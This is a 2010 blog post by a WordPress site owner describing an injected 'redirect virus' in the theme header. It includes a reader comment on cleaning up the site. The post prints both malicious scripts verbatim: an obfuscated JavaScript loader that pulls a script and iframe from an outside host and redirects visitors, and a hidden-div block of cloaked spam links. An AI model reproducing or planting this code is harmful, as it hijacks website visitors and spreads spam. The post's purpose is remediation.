August 25, 2019

Redirect Virus to Spam Web Site – Strange code in WordPress Header

Posted on February 24, 2010 by in software

I found these two strange chunks of code in my wordpress header, which was redirecting my site to a spam web site.
<script language=javascript>document.write(unescape(‘%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E’));dF(‘%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Dtdsjqu%2631tsd%264E%266D%2633%2633%2C%2633iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G3%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2633%2C%2633%266D%2633%264F%264D%266D0tdsjqu%264F%2633%263%3A%264C%264D0tdsjqu%264F%261B%264Dtdsjqu%264F%261Bjg%2639uzqfpg%2639i%263%3A%264E%264E%2633voefgjofe%2633%263%3A%268C%261%3A%261B%261%3Aepdvnfou/xsjuf%2639%2633%264Djgsbnf%2631tsd%264E%2638iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G4%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2638%2631xjeui%264E2%2631ifjhiu%264E2%2631cpsefs%264E1%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf%264F%2633%263%3A%264C%2631%261B%268E%261Bfmtf%2631jg%2639i/joefyPg%2639%2633iuuq%264B%2633%263%3A%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1’)</script>

And this chunk below.

<script type=”text/javascript”>
a = Array(‘c4v4’, ‘I’, ‘ wid’, ‘rxkQ’, ‘s’, ‘te’, ‘ZHA’, ‘px;’, ‘u’, ‘A’, ‘yle=’, ‘V’, ‘ le’, ‘px’, ‘ht: ‘, ‘: a’, ‘0’, ‘ s’, ‘ig’, ‘o’, ‘; he’, ‘ft:’, ‘ion’, ‘idde’, ’00px’, ‘NI’, ‘I’, ‘ ‘, ‘kB’, ‘n;\”‘, ‘6Ms’, ‘\”po’, ’20’, ‘Mh’, ‘l’, ‘th: ‘, ‘H’, ‘ver’, ‘x; o’, ‘-2’, ‘low’, ‘f’, ‘</di’, ‘v>’, ‘>’, ‘wri’, ‘H0d’, ‘<div’, ‘x’, ‘to’, ‘1’, ‘U’, ‘te; ‘, ‘: h’, ‘200’, ‘LL9’, ‘p: ‘, ‘-‘, ‘;’, ‘l’, ‘t’, ‘jZ’, ‘ln’, ‘it’, ‘bs’, ‘200p’, ‘3’);
b = bb = Array();
z = Array();
b[0] = Array(47,17,60,10,31,4,63,22,15,64,19,59,8,52,49,56,39,24,58,12,21,27,57,54,7,2,35,32,16,13,20,18,14,65,38,37,41,40,53,23,29,44);
b[1] = Array(45,5,62);
b[2] = Array(42,43);
ss = ”;
for (ik in b) {
z[ik] = ”;
for (i = 0; i < b[ik].length; ++i) {
z[ik] += ” + a[b[ik][i]];
}
}
document[z[1]](z[0]);
</script>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-home-premium-telecharger”>acheter windows 7 home</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-acrobat-professionnel”>acheter adobe acrobat 9 pro</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-photoshop-cs4″>photoshop cs4 moins cher</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=telecharger-windows-vista-64-bits”>achat windows vista 64</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-x64-french”>windows 7 64 bits telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-creative-suite-4-prix”>prix adobe creative suite 4 master collection</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-windows-vista-ultimate”>windows vista ultimate telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-x64-francais”>windows 7 home premium 64 bit oem</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=telecharger-autocad-lt-2010″>acheter autocad lt 2010</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-ultimate-pas-cher”>telecharger windows 7 ultimate 32 bits</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-autocad-lt-2009″>acheter autocad lt 2010</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-office-pme-2007″>office 2007 pme telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=vista-pas-chere”>windows vista business oem</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=telecharger-vista-home-premium”>prix windows vista home premium</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-windows-7″>prix windows 7</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=office-2007-pro-prix”>telecharger microsoft office 2007 pro</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=kaspersky-internet-security-2010-moins-cher”>prix kaspersky internet security 2010</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-vista-pro”>acheter vista pro</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-windows-7-professional”>windows 7 professionnel achat</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=achat-photoshop-cs3″>adobe photoshop francais</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=telecharger-windows-vista-francais”>vista telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-indesign-cs4″>acheter indesign cs4</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=microsoft-office-2007-pas-cher”>achat microsoft office 2007</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=autocad-2010-telecharger”>prix autocad 2010</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-premiere-pro-acheter”>adobe premiere pro cs4 prix</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-adobe-acrobat-9-pro”>acheter acrobat reader</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-vista-pas-cher”>telecharger windows vista</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=photoshop-moins-cher”>acheter photoshop cs2</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=autocad-2010-francais”>autocad 2010 francais</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-home-premium-prix”>acheter windows 7 home premium</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-adobe-cs4″>acheter adobe creative suite 4 master collection</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-vista-premium”>acheter windows vista home premium</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-adobe-cs4-design-premium”>adobe cs4 design premium fr</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-creative-suite-4-master-collection-fr”>acheter adobe cs4</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-kaspersky-internet-security”>prix kaspersky internet security 2010</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=office-pme-2007-moins-cher”>office 2007 pme prix</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=office-2007-prix-etudiant”>telecharger office 2007 etudiant</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-windows-vista-pas-cher”>acheter windows vista 32 bit</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=dreamweaver-pas-cher”>achat dreamweaver cs3</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-vista-pas-cher”>telecharger vista en francais</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-cs4-telechargement”>acheter adobe creative suite 3</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=kaspersky-2010-moins-cher”>kaspersky 2010 moins cher</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=dreamweaver-telecharger”>dreamweaver telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-windows-vista-64-bits”>acheter windows vista 64 bits</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=indesign-cs4-telecharger”>prix indesign cs4</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-adobe-after-effects”>acheter after effect 7</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-ultimate-telecharger”>windows 7 ultimate oem fr</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=telecharger-windows-vista-pro”>windows vista pro prix</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-illustrator-telechargement”>acheter illustrator cs2</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-xp-pro-acheter”>windows xp pro achat</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-microsoft-office-2007-etudiant”>microsoft office 2007 etudiant et famille</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=kaspersky-pas-cher”>kaspersky internet security 2010 telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-dreamweaver”>acheter dreamweaver 8</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-prix-discount”>windows 7 francais telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-pas-chere”>windows 7 moins cher</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=telecharger-adobe-after-effect-cs4″>adobe after effect cs4 prix</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-autocad-2009″>autocad moins cher</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-illustrator-telecharger”>acheter illustrator</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-autocad-2007″>achat autocad 2008</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=office-2007-professionnel-telecharger”>acheter microsoft office 2007 pro</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-meilleur-prix”>windows 7 meilleur prix</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-windows-xp-pro-sp2″>acheter windows xp pro 64</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=photoshop-pas-cher”>acheter photoshop cs3</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-photoshop-cs4-acheter”>acheter adobe photoshop 7.0</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-cs4-design-premium-francais”>acheter adobe creative suite 4 design premium</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-premiere-prix”>telecharger adobe premiere pro francais</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=achat-windows-xp-professionnel”>achat windows xp familiale</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-windows-seven-professionnel”>achat windows seven pro</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-photoshop-cs4-fr”>adobe photoshop cs4 fr</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=vista-ultimate-prix”>vista ultimate telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-windows-vista”>acheter windows vista familiale</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-office-2007-en-ligne”>microsoft office 2007 prix</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=achat-dreamweaver-cs4″>acheter dreamweaver cs4</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-xp-achat-en-ligne”>windows xp acheter</a>
<script type=”text/javascript”>
document[z[1]](z[2]);

Removing those two chunks of code resolved the issue. I also changed my password and upgraded to the latest version of wordpress.

Tags: ,

One Response to “Redirect Virus to Spam Web Site – Strange code in WordPress Header”

  1. Raven Starkly 1 March 2010 at 12:59 am #

    I also ended up backing up the database, exporting all the blog entries, backed up the wp-content/uploads folder, deleting all the wordpress files, deleted all the user accounts (except admin), downloading all new wordpress files, downloading all new plugin files, opening the exported xml file with emacs and deleting ample URLs that were embeded generally within form elements or span elements. Then I restored all the posts by uploading the cleaned data. It seems to have worked. I had some issues with vPIP posts, but resolved those by hand.


Leave a Reply

You must be logged in to post a comment.